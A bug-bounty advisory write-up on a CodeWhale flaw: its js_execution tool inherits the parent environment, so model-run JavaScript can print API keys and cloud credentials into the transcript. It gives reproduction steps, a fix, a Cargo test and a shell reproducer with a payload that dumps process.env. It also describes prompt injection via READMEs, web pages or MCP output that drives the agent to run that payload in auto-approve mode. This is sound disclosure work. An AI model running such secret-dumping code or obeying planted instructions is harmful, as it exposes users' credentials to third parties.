# CodeWhale: js_execution leaks parent environment to model context via missing env scrub

CodeWhale's js_execution tool spawned Node without the child_env scrubber, so model-supplied JavaScript read process.env and leaked API keys and cloud credentials into the model transcript.

- Payout: Research
- Severity: high
- Program: CodeWhale
- Found by: fg0x0
- Disclosed: 2026-09-04
- CVE: CVE-2026-75915
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h539-c7r8-3xq4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h539-c7r8-3xq4
- Tags: area:ai domain:ai domain:desktop impact:data-leak kind:research platform:ghsa sev:high tech:llm tech:nodejs tech:rust technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** js_execution tool spawning Node.js child process
**Root cause:** js_execution builds tokio::process::Command without cmd.env_clear() or the crate::child_env::apply_to_tokio_command helper used by exec_shell, Python REPL and MCP launcher, so the child inherits the full parent environment. The tool was added four days after the env-scrub commit and never picked up the helper.
**Steps:**
1. Set markers: `export AWS_SECRET_ACCESS_KEY="leak-marker-AKIA-EXAMPLE"` and `export DEEPSEEK_API_KEY="leak-marker-sk-EXAMPLE"`
2. Launch `deepseek` and ask the model to run `js_execution({"code":"console.log(JSON.stringify(process.env))"})`
3. Approve once (or none in YOLO mode); returned stdout contains every parent env value verbatim
4. Values become part of the model context for the next request and travel to the LLM provider
5. Fix: add `crate::child_env::apply_to_tokio_command(&mut cmd, std::iter::empty::<(&str, &str)>());` after `cmd.current_dir(workspace)`
**How found:** Code review comparing spawn sites: noticed js_execution.rs built Command without the child_env helper that exec_shell, repl/runtime.rs and the MCP launcher all use; git history showed commit e6d4eae added the scrubber and commit 2566f3c added js_execution four days later without it.
**Exploitation:** A single adversarial prompt injection from a README, fetched web page or MCP server output makes the model call js_execution with code reading process.env; in YOLO mode (auto_approve=true) no approval prompt appears. The stdout returns secrets to the transcript, which is sent to the configured LLM provider on the next turn.
**Insight:** When a project introduces a centralized security helper (env scrubber, sanitizer, auth wrapper), diff every later-added spawn/call site against it — new tools added after the hardening commit are the most likely to miss the helper, and git log ordering pinpoints them fast.

## Proof of concept (copied exactly from the original report)

**Cargo test proving env leak via js_execution**

```
use deepseek_tui::tools::js_execution::execute_js_execution_tool;
use serde_json::json;
use tempfile::tempdir;

#[tokio::test]
async fn js_execution_inherits_parent_secrets() {
    if deepseek_tui::dependencies::resolve_node().is_none() {
        eprintln!("node not on PATH; skipping");
        return;
    }
    unsafe {
        std::env::set_var("AWS_SECRET_ACCESS_KEY", "leak-marker-AKIA-EXAMPLE");
        std::env::set_var("DEEPSEEK_API_KEY", "leak-marker-sk-EXAMPLE");
    }
    let tmp = tempdir().unwrap();
    let result = execute_js_execution_tool(
        &json!({"code": "console.log(process.env.AWS_SECRET_ACCESS_KEY + '|' + process.env.DEEPSEEK_API_KEY)"}),
        tmp.path(),
    ).await.expect("execute");
    let payload: serde_json::Value = serde_json::from_str(&result.content).unwrap();
    let stdout = payload["stdout"].as_str().unwrap_or("");
    assert!(stdout.contains("leak-marker-AKIA-EXAMPLE"), "AWS leaked: {stdout}");
    assert!(stdout.contains("leak-marker-sk-EXAMPLE"), "DEEPSEEK leaked: {stdout}");
}
```

**Shell reproducer dumping process.env via js_execution**

```
export AWS_SECRET_ACCESS_KEY="leak-marker-AKIA-EXAMPLE"
export DEEPSEEK_API_KEY="leak-marker-sk-EXAMPLE"
deepseek
# Ask the model to run:
#   js_execution({"code":"console.log(JSON.stringify(process.env))"})
# Approve once. The returned stdout contains every parent env value verbatim,
# including the markers above, and is now part of the model's context for the next request.
```

